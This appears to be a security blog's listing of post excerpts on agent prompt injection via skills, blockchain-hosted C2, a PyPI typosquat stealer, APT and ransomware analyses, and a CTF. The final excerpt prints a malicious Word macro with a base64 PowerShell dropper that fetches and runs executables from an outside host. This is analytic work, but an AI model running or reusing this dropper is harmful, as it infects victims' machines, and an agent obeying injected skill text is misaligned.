Part 1 argued that an agent cannot reliably tell data from instructions, and that everything it reads melts into one trusted context. This part makes that concrete. We are going to install a normal, useful skill, ask it to do one harmless thing, and watch it quietly do four more. A Friendly Little Skill Say you install a popular community skill to help with git. The rendered file looks like this, abridged: ...
An AI coding agent is useful because it reads things for you and acts on them. It reads your files, your instructions, a skill you installed, a web page you asked it to summarize, the description of a tool it can call. Then it does something: edits a file, runs a command, fetches a URL, calls a tool. That is also exactly why it can be hijacked. The agent has historically had a hard time telling the difference between data it was asked to look at and instructions it is supposed to follow. Everything it reads lands in the same place, and anything in that place can speak in the imperative voice. This post is about that single flaw, because once you see it, every agent hijack you will read about is the same trick wearing different clothes. ...
To hide its command-and-control server, this operation writes the address onto a public blockchain. That makes the C2 impossible to seize or sinkhole — but it also means every time the operator moves servers, they leave a permanent, timestamped entry in a ledger anyone can read. I pulled that ledger. It runs to four months and roughly 127 delivery hosts from a single smart contract, and it was still updating the day I looked. ...
Ask a general-purpose AI agent to analyze a suspicious executable and you get confident-sounding mush. It will happily tell you to “check the file for anything malicious,” suggest a plugin that does not exist, or skip the one step that actually matters. The model knows a lot about malware analysis. What it lacks is the analyst’s working knowledge: which Volatility 3 plugin to run on a memory image, how to reach a packer’s original entry point, how to turn a recovered C2 config into a Sigma rule, and, just as important, when not to trust a result. ...
We have all trained ourselves to look for the call home: the hard-coded IP, the suspicious .xyz domain, the base64 URL that decodes to something hostile. This loader has none of that. Strip it to nothing and you find an address on the TRON blockchain, which points to a Binance Smart Chain transaction sent to a burn address so it can never be spent or deleted. The next stage sits in that transaction’s data field, XOR-encrypted. You cannot sinkhole it, and you cannot file a takedown against an immutable transaction replicated across thousands of nodes. The technique has a name, EtherHiding, and it turns a public blockchain into bulletproof, censorship-proof storage for malware. ...
The short version A package called nhmpy showed up on PyPI sitting one keystroke away from NumPy (n-h-mpy instead of n-u-mpy). It had already been pulled from the index and the wheel was far larger than NumPy has any reason to be, so I pulled the artifact apart to see what it was really doing. It turned out to be a credential stealer that goes to real trouble not to look like one. The package carries a complete, working copy of NumPy as cover — install it, import nhmpy, and it behaves exactly like the library it’s impersonating. Nothing breaks, so nothing seems wrong. The malice lives in two extra files: a .pth file that runs the instant any Python interpreter starts, and a 5.2 MB JavaScript blob it executes through Bun, a runtime it quietly downloads from GitHub at run time. ...
MuddyWater is an APT group that has been active throughout 2017, targeting victims in the Middle East with in-memory vectors leveraging PowerShell. In October 2018, Kaspersky Lab published a good analysis report on the malware by this APT group. Here I am publishing my analysis report on recent malware by this APT group which targeted several parts of the Middle East. Sample - 8899c0dac9f6bb73ce750ae7b3250dbd (Virustotal ) References : https://www.vmray.com/analyses/c873532e009f/report/overview.html https://twitter.com/360TIC/status/1081080752438009856 ...
Flare-On is an annual CTF challenge organized by FireEye with a focus on reverse engineering. Overall, there were 12 challenges to complete, similar to last year (2017) . Instead of a detailed write-up, I am just covering the important parts. Following are the instructions to solve these challenges: Analyse the sample and find the key Each key looks like an email address and ends with @flare-on.com Enter the key for each challenge in Flare-on CTF app to unlock next challenge Complete all the puzzles and win a prize Flare-On 2018 challenges - download Password - flare ...
Noblis is in-development ransomware which is built in Python and packed by PyInstaller. You can refer to my previous blog to learn how to identify and reverse Python-built executables. We have the following sample: Hash : 3BEEE8D7F55CD8298FCB009AA6EF6AAE [App.Any ] The sample is UPX packed; after unpacking we get the following sample. Hash : A886E7FAB4A2F1B1B048C217B4969762 The binary has many Python reference strings and a zlib archive appended to it as an overlay. You can use the PyExtractor tool to extract the Python code from the binary. ...
MD5: de7b31517d5963aefe70860d83ce83b9 [VirusTotal ] FileName: BAYER_CROPSCIENCE_OFFICE_BEOGRAD_93876.doc FileType: MS Word Document The Word file has an embedded macro. When you look into the macro code, you will find the below snippet. Private Function decodeBase64(ByVal strData As String) As Byte() Dim objXML As MSXML2.DOMDocument Dim objNode As MSXML2.IXMLDOMElement Set objXML = New MSXML2.DOMDocument Set objNode = objXML.createElement("b64") objNode.dataType = "bin.base64" objNode.Text = strData decodeBase64 = objNode.nodeTypedValue Set objNode = Nothing Set objXML = Nothing End Function Private Function str() As String str = "cG93ZXJzaGVsbC5leGUgLXdpbmRvd3N0eWxlIGhpZGRlbiAkZGlyID0gW0Vudmlyb25tZW50XTo6R2V0Rm9sZGVyUGF0aCgnQXBwbGljYXRpb25EYXRhJykgKyAnXFNwaWRlcic7JGVuYyA9IFtTeXN0ZW0uVGV4dC5FbmNvZGluZ106OlVURjg7ZnVuY3Rpb24geG9yIHtwYXJhbSgkc3RyaW5nLCAkbWV0aG9kK" str = str + "SR4b3JrZXkgPSAkZW5jLkdldEJ5dGVzKCdBbGJlclRJJyk7JHN0cmluZyA9ICRlbmMuR2V0U3RyaW5nKFtTeXN0ZW0uQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoJHN0cmluZykpOyRieXRlU3RyaW5nID0gJGVuYy5HZXRCeXRlcygkc3RyaW5nKTskeG9yZERhdGEgPSAkKGZvciAoJGkgPSAwOyAkaSAtbH" str = str + "QgJGJ5dGVTdHJpbmcubGVuZ3RoKXtmb3IoJGogPSAwOyAkaiAtbHQgJHhvcmtleS5sZW5ndGg7ICRqKyspeyRieXRlU3RyaW5nWyRpXSAtYnhvciAkeG9ya2V5WyRqXTskaSsrO2lmKCRpIC1nZSAkYnl0ZVN0cmluZy5MZW5ndGgpeyRqID0gJHhvcmtleS5sZW5ndGh9fX0pOyR4b3JkRGF0YSA9ICRlbmMuR2V" str = str + "0 U3RyaW5nKCR4b3JkRGF0YSk7cmV0dXJuICR4b3JkRGF0YX07ZnVuY3Rpb24gZGF0YSB7cGFyYW0oJG1ldGhvZCkkd2ViQ2xpZW50ID0gTmV3LU9iamVjdCBTeXN0ZW0uTmV0LldlYkNsaWVudDsgaWYgKCRtZXRob2QgLWVxICdkJyl7JGlucHV0ID0gJHdlYkNsaWVudC5Eb3dubG9hZFN0cmluZygnaHR0cDov" str = str + "L3lvdXJqYXZhc2NyaXB0LmNvbS81MTE4NjMxNDc3L2phdmFzY3JpcHQtZGVjLTItMjUtMi5qcycpfWVsc2V7JGlucHV0ID0gJHdlYkNsaWVudC5Eb3dubG9hZFN0cmluZygnaHR0cDovL3lvdXJqYXZhc2NyaXB0LmNvbS81MzEwMzIwMTI3Ny9qYXZhc2NyaXB0LWVuYy0xLTAtOS5qcycpfSRieXRlcyA9IFtDb" str = str + "252 ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZyggKHhvciAkaW5wdXQgJ2QnKSApO3JldHVybiAgJGJ5dGVzfTtmdW5jdGlvbiBpbyB7cGFyYW0oJG1ldGhvZClpZigkbWV0aG9kIC1lcSAnZCcpeyRmaWxlbmFtZSA9ICRkaXIgKyAnXGRlYy5leGUnfWVsc2V7JGZpbGVuYW1lID0gJGRpciArICdcZW5jLmV4ZSd9W0" str = str + "lPLkZpbGVdOjpXcml0ZUFsbEJ5dGVzKCRmaWxlbmFtZSwgKGRhdGEgJG1ldGhvZCkpfTtmdW5jdGlvbiBydW4ge3BhcmFtKCRtZXRob2QpaWYgKCRtZXRob2QgLWVxICdkJyl7aW8gJ2QnOyBIC1GaWxlUGF0aCAoJGRpciArICdcZGVjLmV4ZScpIC1Bcmd1bWVudExpc3QgJ3NwaWRlcid" str = str + "9ZWxzZXtpbyAnZSc7IFN0YXJ0LVByb2Nlc3MgLUZpbGVQYXRoICgkZGlyICsgJ1xlbmMuZXhlJykgLUFyZ3VtZW50TGlzdCAnc3BpZGVyJywgJ2t0bicsICcxMDAnfX07aWYoIFRlc3QtUGF0aCAkZGlyKXt9ZWxzZXttZCAkZGlyOyBydW4gJ2QnOyBydW4gJ2UnIH0=" str = StrConv(decodeBase64(str), vbUnicode) End Function After Base64 decoding, we will get the following PowerShell script. ...